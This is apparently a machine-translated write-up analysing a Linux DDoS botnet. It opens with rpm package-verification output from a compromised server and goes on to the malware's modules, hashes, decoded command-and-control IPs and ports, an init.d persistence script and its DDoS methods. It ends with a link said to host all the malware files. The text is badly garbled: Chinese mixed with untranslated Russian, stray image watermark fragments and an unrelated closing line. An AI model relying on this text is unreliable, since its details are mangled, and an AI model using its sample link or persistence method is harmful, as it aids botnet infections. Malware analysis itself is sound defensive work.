.M.......    /usr/share/cacti/lib/adodb/drivers/adodb-ado.inc.php
.M.......    /usr/share/cacti/lib/adodb/drivers/adodb-ado5.inc.php
.M.......    /usr/share/cacti/lib/adodb/drivers/adodb-ado_access.inc.php
.M.......    /usr/share/cacti/lib/adodb/drivers/adodb-ado_mssql.inc.php
.M.......    /usr/share/cacti/lib/adodb/drivers/adodb-borland_ibase.inc.php
.M.......    /usr/share/cacti/lib/adodb/drivers/adodb-csv.inc.php
.M.......    /usr/share/cacti/lib/adodb/drivers/adodb-db2.inc.php
.M.......    /usr/share/cacti/lib/adodb/drivers/adodb-fbsql.inc.php
.M.......    /usr/share/cacti/lib/adodb/drivers/adodb-firebird.inc.php
.M.......    /usr/share/cacti/lib/adodb/drivers/adodb-ibase.inc.php
.M.......    /usr/share/cacti/lib/adodb/drivers/adodb-informix.inc.php
.M.......    /usr/share/cacti/lib/adodb/drivers/adodb-informix72.inc.php
.M.......    /usr/share/cacti/lib/adodb/drivers/adodb-ldap.inc.php
.M.......    /usr/share/cacti/lib/adodb/drivers/adodb-mssql.inc.php
.M.......    /usr/share/cacti/lib/adodb/drivers/adodb-mssqlpo.inc.php
.M.......    /usr/share/cacti/lib/adodb/drivers/adodb-mysql.inc.php
.M.......    /usr/share/cacti/lib/adodb/drivers/adodb-mysqli.inc.php
.M.......    /usr/share/cacti/lib/adodb/drivers/adodb-mysqlt.inc.php
.M.......    /usr/share/cacti/lib/adodb/drivers/adodb-netezza.inc.php
.M.......    /usr/share/cacti/lib/adodb/drivers/adodb-oci8.inc.php
.M.......    /usr/share/cacti/lib/adodb/drivers/adodb-oci805.inc.php
.M.......    /usr/share/cacti/lib/adodb/drivers/adodb-oci8po.inc.php
.M.......    /usr/share/cacti/lib/adodb/drivers/adodb-odbc.inc.php
.M.......    /usr/share/cacti/lib/adodb/drivers/adodb-odbc_mssql.inc.php
.M.......    /usr/share/cacti/lib/adodb/drivers/adodb-odbc_oracle.inc.php
.M.......    /usr/share/cacti/lib/adodb/drivers/adodb-odbtp.inc.php
.M.......    /usr/share/cacti/lib/adodb/drivers/adodb-odbtp_unicode.inc.php
.M.......    /usr/share/cacti/lib/adodb/drivers/adodb-oracle.inc.php
.M.......    /usr/share/cacti/lib/adodb/drivers/adodb-pdo.inc.php
.M.......    /usr/share/cacti/lib/adodb/drivers/adodb-postgres.inc.php
.M.......    /usr/share/cacti/lib/adodb/drivers/adodb-postgres64.inc.php
.M.......    /usr/share/cacti/lib/adodb/drivers/adodb-postgres7.inc.php
.M.......    /usr/share/cacti/lib/adodb/drivers/adodb-proxy.inc.php
.M.......    /usr/share/cacti/lib/adodb/drivers/adodb-sapdb.inc.php
.M.......    /usr/share/cacti/lib/adodb/drivers/adodb-sqlanywhere.inc.php
.M.......    /usr/share/cacti/lib/adodb/drivers/adodb-sqlite.inc.php
.M.......    /usr/share/cacti/lib/adodb/drivers/adodb-sqlitepo.inc.php
.M.......    /usr/share/cacti/lib/adodb/drivers/adodb-sybase.inc.php
.M.......    /usr/share/cacti/lib/adodb/drivers/adodb-vfp.inc.php
.M.......    /usr/share/cacti/lib/adodb/lang
.M.......    /usr/share/cacti/lib/adodb/lang/adodb-ar.inc.php
.M.......    /usr/share/cacti/lib/adodb/lang/adodb-bg.inc.php
.M.......    /usr/share/cacti/lib/adodb/lang/adodb-bgutf8.inc.php
.M.......    /usr/share/cacti/lib/adodb/lang/adodb-ca.inc.php
.M.......    /usr/share/cacti/lib/adodb/lang/adodb-cn.inc.php
.M.......    /usr/share/cacti/lib/adodb/lang/adodb-cz.inc.php
.M.......    /usr/share/cacti/lib/adodb/lang/adodb-de.inc.php
.M.......    /usr/share/cacti/lib/adodb/lang/adodb-en.inc.php
.M.......    /usr/share/cacti/lib/adodb/lang/adodb-es.inc.php
.M.......    /usr/share/cacti/lib/adodb/lang/adodb-fr.inc.php
.M.......    /usr/share/cacti/lib/adodb/lang/adodb-hu.inc.php
.M.......    /usr/share/cacti/lib/adodb/lang/adodb-it.inc.php
.M.......    /usr/share/cacti/lib/adodb/lang/adodb-nl.inc.php
.M.......    /usr/share/cacti/lib/adodb/lang/adodb-pl.inc.php
.M.......    /usr/share/cacti/lib/adodb/lang/adodb-pt-br.inc.php
.M.......    /usr/share/cacti/lib/adodb/lang/adodb-ro.inc.php
.M.......    /usr/share/cacti/lib/adodb/lang/adodb-ru1251.inc.php
.M.......    /usr/share/cacti/lib/adodb/lang/adodb-sv.inc.php
.M.......    /usr/share/cacti/lib/adodb/license.txt
.M.......    /usr/share/cacti/lib/adodb/toexport.inc.php
.M.......    /usr/share/cacti/lib/adodb/tohtml.inc.php
.M.......    /usr/share/cacti/lib/api_automation_tools.php
.M.......    /usr/share/cacti/lib/api_data_source.php
.M.......    /usr/share/cacti/lib/api_device.php
.M.......    /usr/share/cacti/lib/api_graph.php
.M.......    /usr/share/cacti/lib/api_poller.php
.M.......    /usr/share/cacti/lib/api_tree.php
.M.......    /usr/share/cacti/lib/auth.php
.M.......    /usr/share/cacti/lib/cdef.php
.M.......    /usr/share/cacti/lib/data_query.php
.M.......    /usr/share/cacti/lib/database.php
.M.......    /usr/share/cacti/lib/export.php
.M.......    /usr/share/cacti/lib/functions.php
.M.......    /usr/share/cacti/lib/graph_export.php
.M.......    /usr/share/cacti/lib/graph_variables.php
.M.......    /usr/share/cacti/lib/html.php
.M.......    /usr/share/cacti/lib/html_form.php
.M.......    /usr/share/cacti/lib/html_form_template.php
.M.......    /usr/share/cacti/lib/html_tree.php
.M.......    /usr/share/cacti/lib/html_utility.php
.M.......    /usr/share/cacti/lib/html_validate.php
.M.......    /usr/share/cacti/lib/import.php
.M.......    /usr/share/cacti/lib/ldap.php
.M.......    /usr/share/cacti/lib/ping.php
.M.......    /usr/share/cacti/lib/plugins.php
.M.......    /usr/share/cacti/lib/poller.php
.M.......    /usr/share/cacti/lib/rrd.php
.M.......    /usr/share/cacti/lib/snmp.php
.M.......    /usr/share/cacti/lib/sort.php
.M.......    /usr/share/cacti/lib/template.php
.M.......    /usr/share/cacti/lib/time.php
.M.......    /usr/share/cacti/lib/timespan_settings.php
.M.......    /usr/share/cacti/lib/tree.php
.M.......    /usr/share/cacti/lib/utility.php
.M.......    /usr/share/cacti/lib/variables.php
.M.......    /usr/share/cacti/lib/xml.php
.M.......    /usr/share/cacti/logout.php
.M.......    /usr/share/cacti/plugins
.M.......    /usr/share/cacti/plugins.php
.M.......    /usr/share/cacti/plugins/index.php
.M.......    /usr/share/cacti/poller.php
.M.......    /usr/share/cacti/poller_commands.php
.M.......    /usr/share/cacti/poller_export.php
.M.......    /usr/share/cacti/resource
.M.......    /usr/share/cacti/resource/script_queries
.M.......    /usr/share/cacti/resource/script_queries/host_cpu.xml
.M.......    /usr/share/cacti/resource/script_queries/host_disk.xml
.M.......    /usr/share/cacti/resource/script_queries/unix_disk.xml
.M.......    /usr/share/cacti/resource/script_server
.M.......    /usr/share/cacti/resource/script_server/host_cpu.xml
.M.......    /usr/share/cacti/resource/script_server/host_disk.xml
.M.......    /usr/share/cacti/resource/snmp_queries
.M.......    /usr/share/cacti/resource/snmp_queries/host_disk.xml
.M.......    /usr/share/cacti/resource/snmp_queries/interface.xml
.M.......    /usr/share/cacti/resource/snmp_queries/kbridge.xml
.M.......    /usr/share/cacti/resource/snmp_queries/net-snmp_disk.xml
.M.......    /usr/share/cacti/resource/snmp_queries/netware_cpu.xml
.M.......    /usr/share/cacti/resource/snmp_queries/netware_disk.xml
.M.......    /usr/share/cacti/rra.php
.M.......    /usr/share/cacti/script_server.php
.M.......    /usr/share/cacti/settings.php
.M.......    /usr/share/cacti/templates_export.php
.M.......    /usr/share/cacti/templates_import.php
.M.......    /usr/share/cacti/tree.php
.M.......    /usr/share/cacti/user_admin.php
.M.......    /usr/share/cacti/utilities.php
.M.......    /var/lib/cacti
.M.......    /var/lib/cacti/cli
.M.......    /var/lib/cacti/cli/add_data_query.php
.M.......    /var/lib/cacti/cli/add_device.php
.M.......    /var/lib/cacti/cli/add_graph_template.php
.M.......    /var/lib/cacti/cli/add_graphs.php
.M.......    /var/lib/cacti/cli/add_perms.php
.M.......    /var/lib/cacti/cli/add_tree.php
.M.......    /var/lib/cacti/cli/analyze_database.php
.M.......    /var/lib/cacti/cli/convert_innodb.php
.M.......    /var/lib/cacti/cli/copy_user.php
.M.......    /var/lib/cacti/cli/data_template_associate_rra.php
.M.......    /var/lib/cacti/cli/host_update_template.php
.M.......    /var/lib/cacti/cli/import_template.php
.M.......    /var/lib/cacti/cli/poller_data_sources_reapply_names.php
.M.......    /var/lib/cacti/cli/poller_graphs_reapply_names.php
.M.......    /var/lib/cacti/cli/poller_output_empty.php
.M.......    /var/lib/cacti/cli/poller_reindex_hosts.php
.M.......    /var/lib/cacti/cli/rebuild_poller_cache.php
.M.......    /var/lib/cacti/cli/reorder_data_query.php
.M.......    /var/lib/cacti/cli/repair_database.php
.M.......    /var/lib/cacti/cli/repair_templates.php
.M.......    /var/lib/cacti/cli/structure_rra_paths.php
.M.......    /var/lib/cacti/cli/upgrade_database.php
.M.......    /var/lib/cacti/rra
.M.......    /var/lib/cacti/scripts
.M.......    /var/lib/cacti/scripts/3com_cable_modem.pl
.M.......    /var/lib/cacti/scripts/diskfree.pl
.M.......    /var/lib/cacti/scripts/diskfree.sh
.M.......    /var/lib/cacti/scripts/linux_memory.pl
.M.......    /var/lib/cacti/scripts/loadavg.pl
.M.......    /var/lib/cacti/scripts/loadavg_multi.pl
.M.......    /var/lib/cacti/scripts/ping.pl
.M.......    /var/lib/cacti/scripts/query_host_cpu.php
.M.......    /var/lib/cacti/scripts/query_host_partitions.php
.M.......    /var/lib/cacti/scripts/query_unix_partitions.pl
.M.......    /var/lib/cacti/scripts/sql.php
.M.......    /var/lib/cacti/scripts/ss_fping.php
.M.......    /var/lib/cacti/scripts/ss_host_cpu.php
.M.......    /var/lib/cacti/scripts/ss_host_disk.php
.M.......    /var/lib/cacti/scripts/ss_sql.php
.M.......    /var/lib/cacti/scripts/unix_processes.pl
.M.......    /var/lib/cacti/scripts/unix_tcp_connections.pl
.M.......    /var/lib/cacti/scripts/unix_users.pl
.M.......    /var/lib/cacti/scripts/weatherbug.pl
.M.......    /var/lib/cacti/scripts/webhits.pl
S.5....T.    /var/log/cacti/cacti.log
S.5....T.  c /etc/ntop.conf
.......T.  c /etc/avahi/hosts
S.5....T.  c /etc/netatalk/AppleVolumes.default
S.5....T.  c /etc/netatalk/afpd.conf
S.5....T.  c /etc/netatalk/netatalk.conf
S.5....T.  c /etc/httpd/conf.d/nagios.conf
S.5....T.  c /etc/nagios/nagios.cfg
S.5....T.  c /etc/nagios/objects/commands.cfg
S.5....T.  c /etc/nagios/objects/localhost.cfg
S.5....T.  c /etc/sysconfig/ntpd
S.5....T.  c /etc/profile
SM5..UGT.  c /etc/snmp/snmpd.conf
S.5....T.  c /etc/sysconfig/iptables-config
.......T.  c /etc/avahi/avahi-dnsconfd.action
S.5....T.  c /etc/dnsmasq.conf

这意味着。不论什么系统文件没有被改动。

由于系统进程没有被隐藏。我推測。在这里能够不使用不论什么的rootkit的一定会自信地说。系统是清白的

关于的6othete搜索信息：

第一件事。我開始寻找某种关于它的信息ботнете。寻找名叫域。代表从crontab文件和线。



立马找了一些资料

My home PC has been 0wn3d :( @ forums.debian.net

What do sapd, skysapd, sksapd, and ksapd do?

@ askubuntu.com

I Got Myself Hacked @ hackervisions.org

t=6537&p=36396">Suspected rootkit

@ archlinuxarm.org

总的来说，没有什么有趣的或新的。

研究ботнета文件

随后，我利用了程序文件。以了解很多其它关于这些可运行文件：

atddd:    ELF 32-bit LSB executable, Intel 80386, version 1 (SYSV), statically linked, for GNU/Linux 2.2.5, not stripped
cupsdd:   ELF 32-bit LSB executable, Intel 80386, version 1 (SYSV), statically linked, for GNU/Linux 2.2.5, not stripped
cupsddh:  ELF 32-bit LSB executable, Intel 80386, version 1 (GNU/Linux), statically linked, stripped
ksapdd:   ELF 32-bit LSB executable, Intel 80386, version 1 (SYSV), statically linked, for GNU/Linux 2.2.5, not stripped
kysapdd:  ELF 32-bit LSB executable, Intel 80386, version 1 (SYSV), statically linked, for GNU/Linux 2.2.5, not stripped
skysapdd: ELF 32-bit LSB executable, Intel 80386, version 1 (SYSV), statically linked, for GNU/Linux 2.2.5, not stripped
xfsdxd:   ELF 32-bit LSB executable, Intel 80386, version 1 (SYSV), statically linked, for GNU/Linux 2.2.5, not stripped

Not剥离！

这种消息！

不知为什么我喜欢和我的第一件事cupsdd文件，上传了他，而不是atddd。

自己也不知道为什么。但这是全然正确的。

盖茨

所以。“Gates»cupsdd模块。603170ad361f6e098c8681ed264155eb 1714fd31cc931e2a0eb97d25a076567af45dc6d8



他做的是同样的。他如何做的呢？这是我们用IDA Pro来回答的，比如。

这个模块想做什么？

试图初始化自己

RSA数据的解压缩，在我的情况下，是这样：

116.10.189.246:30000:1:1:h:578856:579372:579888

指定的变量例如以下：

g_strConnTgt=116.10.189.246
g_iGatsPort=30000
g_iGatsIsFx=1
g_iIsService=1
g_strBillTail=h
g_strCryptStart=578856
g_strDStart=579372
g_strNStart=579888

參数须要确定RSA的情况下更新模块。

***“Bill»试图安装模块

检查是否已经有了gates模块却没有执行。假设没有的话。将PID存储在文件里的锁定在 / TMP / bill.lock中

找到一条路径，存储在当前的EXE。通过阅读/ proc / % d / exe路径，分配，Bill尾部 '加入'，расшифрованного他在那里打开记录文件和记录信息

并启动一个新的文件。

watermark/2/text/aHR0cDovL2Jsb2cuY3Nkbi5uZXQvdTAxMDQ4NDQ3Nw==/font/5a6L5L2T/fontsize/400/fill/I0JBQkFCMA==/dissolve/70/gravity/Center" alt="">

##守护进程的功能在这里体现到了。引起ребиндитstdout和stderr上当前的标准输入，/ dev /null

##检查是否他自己（模块，执行“Gates»）通过检查文件/ TMP / gates.lock。

假设执行的话，盖茨结束。

##在“加入распакованныйBill»自己主动载入模块的init脚本наипростейшегоsysvinit通过建立在/ etc / init.d / c。名为“DbSecuritySpt»类：

#!/bin/bash
/path/to/bill

创建在/etc/rc [1-5]。D / 97dbsecurityspt文件夹下：

watermark/2/text/aHR0cDovL2Jsb2cuY3Nkbi5uZXQvdTAxMDQ4NDQ3Nw==/font/5a6L5L2T/fontsize/400/fill/I0JBQkFCMA==/dissolve/70/gravity/Center" alt="">

##启动MainProcess（）函数

读关于系统的基本信息，CPU，内存，网络地图

比尔

“Bill»- DDoS模块的模块。在我的情况下，被称为“cupsddh”

@@@对善于攻击主机的TCP，UDP，ICMP和DNSамплификации方法。

CPU会限制自己的资源

@@@读关于系统的基本信息，CPU，内存。网络地图上。винчестерах。

@@@关于DNS读取信息。

@@@«载入模块/usr/lib xpacket.ko

@@@写下自己的/ usr / lib / libamplify.so

我開始寻找他怎样能够接收从主模块传来的命令以进行攻击

“стучащий»模块

ksapdd -将文件的统计信息发送给主server。



他是个缝在server和port的程序。在我的情况下，这是121.12.110.96：10991解码的下的结果：

watermark/2/text/aHR0cDovL2Jsb2cuY3Nkbi5uZXQvdTAxMDQ4NDQ3Nw==/font/5a6L5L2T/fontsize/400/fill/I0JBQkFCMA==/dissolve/70/gravity/Center" alt="">

Kysapdd skysapdd, file, and atddd ksapdd xfsdxd is a copy,but the first connects to 112.90.252.76:10991 10991 112.90.22.197,the two ,third ,four connects to 116.10.189.246:10991, and the 202.103.178.76:10991

结论

嗯，经历了这一切，我们更应加强一些表面的重点管理的server，照应好自己的server

rghost.ru/52680741这里有全部的文件。



僵尸网络，Linux，反project

这是所有的。发送的最后一句话：

Do you still remember the reason why you are here?